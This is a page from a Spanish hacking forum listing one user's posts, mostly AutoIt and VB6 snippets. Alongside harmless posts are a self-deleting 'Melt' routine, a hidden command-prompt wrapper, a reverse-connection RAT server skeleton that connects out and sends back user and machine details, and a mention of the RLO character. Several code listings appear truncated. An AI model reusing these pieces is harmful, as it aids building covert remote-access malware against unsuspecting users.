elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Entrar al Canal Oficial Telegram de elhacker.net


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 [16] 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 ... 133
151  Foros Generales / Foro Libre / Re: 11.12.13, Que opinan. en: 13 Diciembre 2013, 15:33
HOLA!!!

jajajaja lo mismo pasó con el 12 del 12 del 2012 xD fue una fecha muy rara, y mas aun cuando eran las 12 del dia con 12 minutos y 12 segundos jajajajaja fecha que no se volverá a repetir porque no existe el mes 13 :p

Por ahora XD

GRACIAS POR LEER!!!
152  Programación / Scripting / [FUNCION] Autoit TCP File Send en: 10 Diciembre 2013, 15:02
HOLA!!!

Tuve muchos problemas para recibir datos binarios enviados con autoit, por eso cree esta funcion, a la cual se le pasa un socket conectado, el path del archivo a enviar y el tamaño del bufer de salida.

Nota: Esta funcion no notifica al otro lado cuando inicia o termina un archivo, aunque al terminar su ejecucion el archivo ha sido enviado correctamente por lo que pueden enviar un identificacador de inicio antes de llamar a la funcion y otro despues.

Código
  1. Func _TCPFileSend($sock, $File, $MaxLen) ;Envia datos binarios desde archivo.
  2. Local $BytesRead = 0
  3. $FileHandle = FileOpen($File, 16)
  4. $Data = FileRead($FileHandle, $MaxLen)
  5. $BytesRead += TCPSend($sock, $Data)
  6. FileClose($FileHandle)
  7. Return SetError(0, 0, 1)
  8. EndFunc   ;==>_TCPFileSend

GRACIAS POR LEER!!!
153  Programación / Scripting / [FUNCION] Autoit MELT en: 10 Diciembre 2013, 14:57
HOLA!!!

Melt, el famoso "KillingMeSoftly" aplicado para generar una autodestruccion efectiva.

Código
  1. Func _Melt() ;Elimina el ejecutable que esta corriendo.
  2. Local $sCmdFile
  3. FileDelete(@TempDir & "\scratch.bat")
  4. $sCmdFile = 'ping -n ' & 15 & '127.0.0.1 > nul' & @CRLF _
  5. & ':loop' & @CRLF _
  6. & 'del "' & @AutoItExe & '"' & @CRLF _
  7. & 'if exist "' & @AutoItExe & '" goto loop' & @CRLF _
  8. & 'del ' & @TempDir & '\scratch.bat'
  9. FileWrite(@TempDir & "\scratch.bat", $sCmdFile)
  10. Run(@TempDir & "\scratch.bat", @TempDir, @SW_HIDE)
  11. EndFunc   ;==>_Melt

GRACIAS POR LEER!!!
154  Programación / Scripting / [FUNCION] Autoit CMD Prompt en: 2 Diciembre 2013, 15:32
HOLA!!!

Jugando con autoit cree esta pequeña suite de funciones para trabajar con CMD:
Código
  1. ;Creado por 79137913
  2. Global $cmdpid
  3. Global $cmdresponse
  4.  
  5. ;~ _iniciarCMD()
  6. ;~ _sendCMDCommand("ping 127.0.0.1",2)
  7. ;~ MsgBox(0,"",$cmdresponse)
  8. ;~ _sendCMDCommand("cd ..",1)
  9. ;~ MsgBox(0,"",$cmdresponse)
  10. ;~ _sendCMDCommand("cd ..",1)
  11. ;~ MsgBox(0,"",$cmdresponse)
  12. ;~ _CerrarCMD()
  13. func _SendCMDCommand($command,$timeoutlimit);Envia un comando CMD y devuelve la respuesta, timeout es en segundos
  14.    StdinWrite($cmdpid,$command)
  15.    StdinWrite($cmdpid,@CRLF)
  16. ;StdinWrite($cmdpid)
  17.    Local $data
  18. Local $response
  19. Local $timeout
  20. $data = ""
  21.    While True
  22.    sleep(100)
  23.        $data &= StdoutRead($cmdpid)
  24.        If $data <> "" Then
  25. $response=$response & $data
  26. $data=""
  27. $timeout=0
  28. $timeout=$timeout+1
  29. if $timeout=$timeoutlimit*10 then ExitLoop
  30.    WEnd
  31.    $cmdresponse = $response
  32. func _CerrarCMD();Cerrar CMD
  33.   StdinWrite($cmdpid)
  34. Func _IniciarCMD();Inicializar CMD
  35.    $cmdpid = Run("C:\Windows\system32\cmd.exe",@SystemDir, @SW_HIDE, $STDIN_CHILD + $STDOUT_CHILD)

GRACIAS POR LEER!!!
155  Programación / Scripting / [RAT] Lo basico para empezar un RAT en AUTOIT en: 2 Diciembre 2013, 15:30
HOLA!!!

Estuve Jugando un poco con Autoit los ultimos dias.

Este es un ejemplo que hice de Base para RAT de conexión inversa (codigo del Server)


Código
  1. #include <Array.au3>
  2. Global $Socket
  3. Global $Recibe
  4. While 1 ;Reconeccion
  5.   _Conectar()
  6.   TCPSend ($Socket,"Hola")
  7.   While 1 ; Recibir y ejecutar
  8.  $Recibe =""
  9.  While $Recibe = ""
  10. $Recibe=TCPRecv($Socket,10000000)
  11. Sleep (100)
  12.  WEnd
  13.  $Dat = StringSplit($Recibe,"|||")
  14.  case $Dat[1] = "GiveMeData"
  15. TCPSend ($Socket,"MYDATA|||" & @UserName & "|||" & @ComputerName & "|||" & @OSVersion)
  16.   WEnd
  17.  
  18. Func _Conectar()
  19.  sleep (10)
  20.   WEnd
  21.  $Socket=TCPConnect ($IP,$PORT)
  22.  If $Socket>0 Then
  23.  Sleep(1000)
  24.   WEnd  

GRACIAS POR LEER!!!
156  Programación / Programación Visual Basic / Re: Subir imagenes a Fb por VBasic en: 28 Noviembre 2013, 14:47
HOLA!!!

Aca tenes una app de uno de los moderadores del subforo que hace lo que queres, no se si estara desactualizada pero tenes una base muy buena!

http://leandroascierto.com/blog/facebook-photo-uploader/

GRACIAS POR LEER!!!
157  Programación / Programación Visual Basic / Re: [FUNCION] IsUnicode (Determina si una cadena contiene caracteres unicode o no) en: 19 Noviembre 2013, 19:14
HOLA!!!

No, Karcrack, es extraño que diga esto pero tu enfoque esta errado...

TODAS las cadenas de Vb6 son almacenadas como Unicode por ende siempre LenB sera el doble de Len. Por ende tu funcion siempre da Verdadero.-

Eso de los Arrays que daban como ejemplo solo desvirtua el tema.

--------------------------------------------------------------------------------------------------

A tomar en cuenta, Mi funcion como dicen antes lo que hace es Copiar erroneamente las cadenas unicode a una nueva cadena, la cual difiere si hay algun caracter que ocupe mas de un byte, como veras en la parte del for (Step 2 y CHR), pierdo el segundo byte de cada caracter y ademas lo convierto con la funcion Chr que no devuelve mas que ascii.-

No quiero decir en ningun momento que las cadenas que se evaluan estan guardadas o no como Unicode, el alma de la funcion es ver si la cadena que se entrega es imprimible o no en ascii.-

GRACIAS POR LEER!!!
158  Programación / Programación Visual Basic / Re: [FUNCION] IsUnicode (Determina si una cadena contiene caracteres unicode o no) en: 19 Noviembre 2013, 17:21
HOLA!!!

Exacto chicos, ya entendieron para que sirve :D.

Determina si algun caracter de la cadena es unicode y no puede ser transformado a ascii.-

GRACIAS POR LEER!!!
159  Programación / Programación Visual Basic / Re: [FUNCION] IsUnicode (Determina si una cadena contiene caracteres unicode o no) en: 18 Noviembre 2013, 19:41
HOLA!!!

Uso un caracter RLO(202E):
http://www.fileformat.info/info/unicode/char/202E/index.htm

Tenes varias maneras para conseguir los caracteres Unicode, yo lo que hago es copiarlos de algun texto que lo contenga, o con el mapa de caracteres, luego lo copias y lo pegas donde quieras.-

Desde VB podes usar ChrW(8238) para generar el Caracter RLO (8238 = 202E)

GRACIAS POR LEER!!!
160  Programación / Programación Visual Basic / Re: [FUNCION] IsUnicode (Determina si una cadena contiene caracteres unicode o no) en: 18 Noviembre 2013, 18:04
HOLA!!!

Entonces estás usando versiones ASCII de las APIs... Llama a la versión UNICODE. No entiendo como te ayudaría esta función a llamar a esas APIs ASCII...

@Danyfirex: cadenaASCII será ASCII siempre pero cadenaUNICODE estará en memoria como UNICODE y dependiendo de qué hagas con ella se transformará o no.


Esta funcion la uso para llamar a las unicode cuando corresponde y a las ascii cuando corresponde.-

Aunque podria siempre llamar a la unicode pero no me agrada la idea.-

GRACIAS POR LEER!!!
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 [16] 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 ... 133
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines